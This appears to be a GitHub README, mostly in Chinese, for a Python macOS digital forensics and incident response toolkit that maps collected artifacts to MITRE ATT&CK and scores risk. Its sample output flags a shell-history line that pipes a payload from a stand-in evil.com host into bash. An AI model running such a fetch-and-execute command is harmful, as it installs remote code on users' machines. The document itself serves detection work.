Moe-93/macOS-dfir-toolkit
GitHub: Moe-93/macOS-dfir-toolkit
一款基于 Python 的 macOS 数字取证与事件响应工具,可自动收集取证证据并将发现映射到 MITRE ATT&CK 框架进行风险评估。
Stars: 0 | Forks: 0
# 🍎 macOS 数字取证与事件响应 (DFIR) 工具包
[](https://www.python.org/)
[](https://www.apple.com/macos/)
[](LICENSE)
[](https://attack.mitre.org/)
一款专为 macOS 环境设计的综合 Python 数字取证和事件响应工具。自动收集取证证据,将发现结果映射到 MITRE ATT&CK 框架,并导出结构化报告以供调查。
## 📋 目录
- [功能特性](#-features)
- [环境要求](#-requirements)
- [安装说明](#-installation)
- [使用方法](#-usage)
- [证据覆盖范围](#-artifact-coverage)
- [MITRE ATT&CK 映射](#-mitre-attck-mapping)
- [输出格式](#-output-format)
- [风险评分](#-risk-scoring)
- [截图展示](#-screenshots)
- [贡献指南](#-contributing)
- [许可证](#-license)
- [免责声明](#-disclaimer)
## 🚀 功能特性
| 功能 | 描述 |
|---------|-------------|
| **17 个证据类别** | 全面的 macOS 取证证据覆盖 |
| **MITRE ATT&CK 映射** | 与 macOS 特定攻击技术的自动关联 |
| **风险评分** | 基于可疑指标的智能 0-100 评分 |
| **CSV 导出** | 用于电子表格分析和 SIEM 摄入的结构化输出 |
| **JSON 摘要** | 包含收集统计信息的机器可读摘要 |
| **Plist 解析** | 原生 Apple 属性列表解析 |
| **SQLite 分析** | 直接查询 Safari、Chrome、TCC 和隔离数据数据库 |
| **统一日志查询** | macOS 10.12+ 统一日志系统集成 |
| **权限检测** | 识别 sudo 滥用和权限提升尝试 |
| **无外部依赖** | 纯 Python 标准库 (3.8+) |
## 📦 环境要求
### 系统要求
- **操作系统**: macOS 10.14 (Mojave) 或更高版本
- **Python**: 3.8 或更高版本
- **权限**: 建议使用 Root/sudo 以获取完整的证据访问权限
### 使用的 Python 标准库模块
```
os, sys, json, csv, hashlib, sqlite3, plistlib, subprocess,
datetime, re, glob, pathlib, collections, typing, dataclasses
```
## 🔧 安装说明
### 选项 1: 克隆仓库
```
git clone https://github.com/yourusername/macos-dfir-toolkit.git
cd macos-dfir-toolkit
```
### 选项 2: 直接下载
```
curl -O https://raw.githubusercontent.com/yourusername/macos-dfir-toolkit/main/macos_dfir.py
chmod +x macos_dfir.py
```
### 验证安装
```
python3 --version # Should be 3.8+
python3 macos_dfir.py --help
```
## 🖥️ 使用方法
### 基本用法(当前用户)
```
python3 macos_dfir.py
```
### 完整收集(推荐)
```
sudo python3 macos_dfir.py
```
### 自定义输出目录
```
sudo python3 macos_dfir.py
# When prompted, enter: /path/to/output
```
### 自动化执行
```
# Non-interactive mode with custom output
echo "/var/forensics/case_001" | sudo python3 macos_dfir.py
```
## 🔍 证据覆盖范围
### 持久化机制
| 证据 | 路径 | MITRE 技术 |
|----------|------|-----------------|
| LaunchAgents | `~/Library/LaunchAgents` | T1543.001 |
| LaunchDaemons | `/Library/LaunchDaemons` | T1543.004 |
| 登录项 | System Events API | T1547.007 |
| Cron 任务 | `/etc/crontab`, `/var/at/tabs` | T1053.003 |
| 内核扩展 | `/Library/Extensions` | T1547.006 |
| 后台任务 | BTM 数据库 (macOS 13+) | T1543.001 |
### 执行证据
| 证据 | 路径 | MITRE 技术 |
|----------|------|-----------------|
| Bash 历史 | `~/.bash_history` | T1059.004, T1070.003 |
| Zsh 历史 | `~/.zsh_history` | T1059.004, T1070.003 |
| 安装历史 | `/Library/Receipts/InstallHistory.plist` | T1072 |
| 隔离事件 | `~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2` | T1553.001 |
### 凭证访问
| 证据 | 路径 | MITRE 技术 |
|----------|------|-----------------|
| 钥匙串 | `~/Library/Keychains/login.keychain-db` | T1555.001 |
| SSH 密钥 | `~/.ssh/authorized_keys` | T1021.004 |
| TCC 数据库 | `~/Library/Application Support/com.apple.TCC/TCC.db` | T1562.001 |
### 防御规避
| 证据 | 路径 | MITRE 技术 |
|----------|------|-----------------|
| Gatekeeper 日志 | 统一日志 | T1553.001 |
| 隐藏文件 | 用户主目录 | T1564.001 |
| 临时文件 | `/tmp`, `/var/tmp` | T1074.001 |
| Sudo 日志 | `/var/log/system.log` | T1548.003 |
### 发现与收集
| 证据 | 路径 | MITRE 技术 |
|----------|------|-----------------|
| 用户账户 | `dscl` API | T1087.001, T1136.001 |
| 浏览器历史 | Safari/Chrome/Firefox 数据库 | T1071.001, T1567.002 |
| 网络连接 | `netstat`, `lsof` | T1049, T1046 |
| 系统日志 | 统一日志 | T1070.002 |
## 🎯 MITRE ATT&CK 映射
该工具将发现结果映射到以下 MITRE ATT&CK 技术:
### 涵盖的战术
- **初始访问** (T1566.001, T1566.002, T1078.001)
- **执行** (T1059.004, T1059.007, T1553.001, T1204.002)
- **持久化** (T1543.001, T1543.004, T1547.007, T1547.011, T1136.001)
- **权限提升** (T1548.001, T1548.003, T1053.003, T1037.002)
- **防御规避** (T1070.002, T1070.003, T1070.004, T1070.006, T1564.001, T1564.002, T1562.001)
- **凭证访问** (T1552.001, T1555.001, T1003.008, T1056.001)
- **发现** (T1083, T1087.001, T1049, T1057, T1518.001, T1082)
- **横向移动** (T1021.004, T1021.005, T1550.002)
- **收集** (T1560.001, T1125, T1113, T1115, T1005, T1074.001)
- **命令与控制** (T1071.001, T1071.004, T1571, T1573.002, T1105, T1219)
- **数据泄露** (T1041, T1048.001, T1567.002, T1020)
- **影响** (T1486, T1490, T1529)
## 📊 输出格式
### 目录结构
```
forensics_output/
├── macos_forensics_report.csv # Main CSV report
└── forensics_summary.json # JSON summary with statistics
```
### CSV 列
| 列 | 描述 |
|--------|-------------|
| `artifact_type` | 取证证据类别 |
| `source_path` | 文件路径或系统来源 |
| `description` | 人类可读的描述 |
| `timestamp` | ISO 8601 时间戳 |
| `mitre_techniques` | 分号分隔的 MITRE 技术 ID |
| `risk_score` | 整数 0-100 |
| `data` | JSON 编码的结构化数据 |
| `raw_content` | 截断的原始证据内容 |
### JSON 摘要结构
```
{
"system_info": {
"hostname": "MacBook-Pro",
"os_version": "14.2.1",
"build_version": "23C71",
"hardware_uuid": "XXX-XXX-XXX",
"serial_number": "XXXXX"
},
"collection_stats": {
"total_artifacts": 150,
"high_risk_count": 12,
"by_type": { "Persistence_LaunchItem": 45, ... },
"by_mitre_technique": { "T1543.001": 30, ... }
},
"artifacts": [ ... ]
}
```
## ⚠️ 风险评分
| 分数 | 严重程度 | 描述 |
|-------|----------|-------------|
| 0-30 | 🟢 低 | 正常系统证据,标准配置 |
| 31-50 | 🟡 中 | 异常但可能合法的活动 |
| 51-70 | 🟠 高 | 需要调查的可疑指标 |
| 71-90 | 🔴 严重 | 恶意活动的强烈证据 |
| 91-100 | ⚫ 严重 | 已确认的恶意 |
### 评分因素
- **程序路径**: `/tmp/`, `/var/tmp/`, 隐藏目录 (+30)
- **执行频率**: 间隔 < 5 分钟 (+15)
- **进程隐藏**: `nice`, `nohup` 使用 (+10)
- **网络指标**: 已知 C2 端口 (+30)
- **凭证访问**: 钥匙串转储尝试 (+40)
- **权限提升**: Sudo shell 执行 (+30)
## 📸 示例输出
```
[*] Starting macOS Forensic Collection on MacBook-Pro
[*] OS Version: 14.2.1 (23C71)
[*] Collection Time: 2024-01-15T10:30:00
================================================================================
[*] Collecting: Launch Agents/Daemons
[+] Collected: Persistence_LaunchItem - LaunchAgent: com.example.backdoor.plist (Risk: 75)
[*] Collecting: Shell History
[+] Collected: Execution_ShellHistory - Suspicious command: curl -s http://evil.com/payload | bash (Risk: 85)
[*] Collecting: Network Connections
[+] Collected: Network_Connection - Active connection: 192.168.1.100:4444 (Risk: 60)
================================================================================
COLLECTION SUMMARY
================================================================================
Total Artifacts: 150
High Risk Items (>=70): 12
Artifacts by Type:
- Persistence_LaunchItem: 45
- Network_Connection: 23
- Execution_ShellHistory: 18
MITRE ATT&CK Techniques Detected:
- T1543.001 (Launch Agent): 30 occurrences
- T1059.004 (Unix Shell): 25 occurrences
- T1071.001 (Web Protocols): 20 occurrences
[+] CSV Report exported to: ./forensics_output/macos_forensics_report.csv
[+] JSON Summary exported to: ./forensics_output/forensics_summary.json
```
## 🔬 取证用例
### 事件响应
- 受损 macOS 终端的快速分类
- 识别持久化机制
- 追踪攻击者命令执行
### 威胁狩猎
- MITRE ATT&CK 技术的主动检测
- 基线偏差分析
- 系统配置中的异常检测
### 合规与审计
- 用户活动监控
- 权限提升检测
- 数据泄露证据收集
### 恶意软件分析
- 隔离事件分析
- Gatekeeper 绕过检测
- 可疑进程识别
## 🤝 贡献指南
欢迎贡献!请遵循以下指南:
1. **Fork** 该仓库
2. **创建** 功能分支 (`git checkout -b feature/amazing-feature`)
3. **提交** 您的更改 (`git commit -m 'Add amazing feature'`)
4. **推送** 到分支 (`git push origin feature/amazing-feature`)
5. **打开** Pull Request
### 贡献领域
- 额外的证据收集器
- 增强的 MITRE 技术覆盖
- 改进的风险评分算法
- GUI 界面
- 时间线可视化
- SIEM 平台集成
## 📄 许可证
本项目基于 MIT 许可证 - 详见 [LICENSE](LICENSE) 文件。
## ⚖️ 免责声明
- 在任何系统上运行前务必获得适当授权
- 尊重隐私法规和组织政策
- 作者对误用或损害不承担任何责任
- 某些功能需要 root 权限,可能会影响系统性能
- 在生产使用前在受控环境中测试
**请负责任且合乎道德地使用。**
## 📚 参考资料
- [macOS 的 MITRE ATT&CK](https://attack.mitre.org/matrices/enterprise/macos/)
- [Apple macOS 安全指南](https://support.apple.com/guide/security/welcome/web)
- [macOS 取证证据](https://forensicswiki.xyz/page/Mac_OS_X)
- [统一日志文档](https://developer.apple.com/documentation/os/logging)
## 📧 联系方式
如有问题、问题报告或功能请求:
- **电子邮件**: moeaqeel@potonmail.com
- **Twitter**: https://x.com/MoeA193
❤️ 为 DFIR 社区构建
聪明地狩猎,快速地响应。
标签:Chrome取证, CSV导出, DFIR工具, DNS 反向解析, HTTP工具, JSON报告, macOS取证, macOS安全, MITRE_ATT&CK, PE 加载器, Plist解析, Python安全工具, Safari取证, SIEM集成, SQLite分析, TCC分析, Web报告查看器, Windows 调试器, 取证工具, 安全运营, 扫描框架, 数字取证, 无线安全, 浏览器取证, 特权提升检测, 痕迹检测, 系统取证, 终端取证, 统一日志, 网络安全审计, 自动化脚本, 逆向工具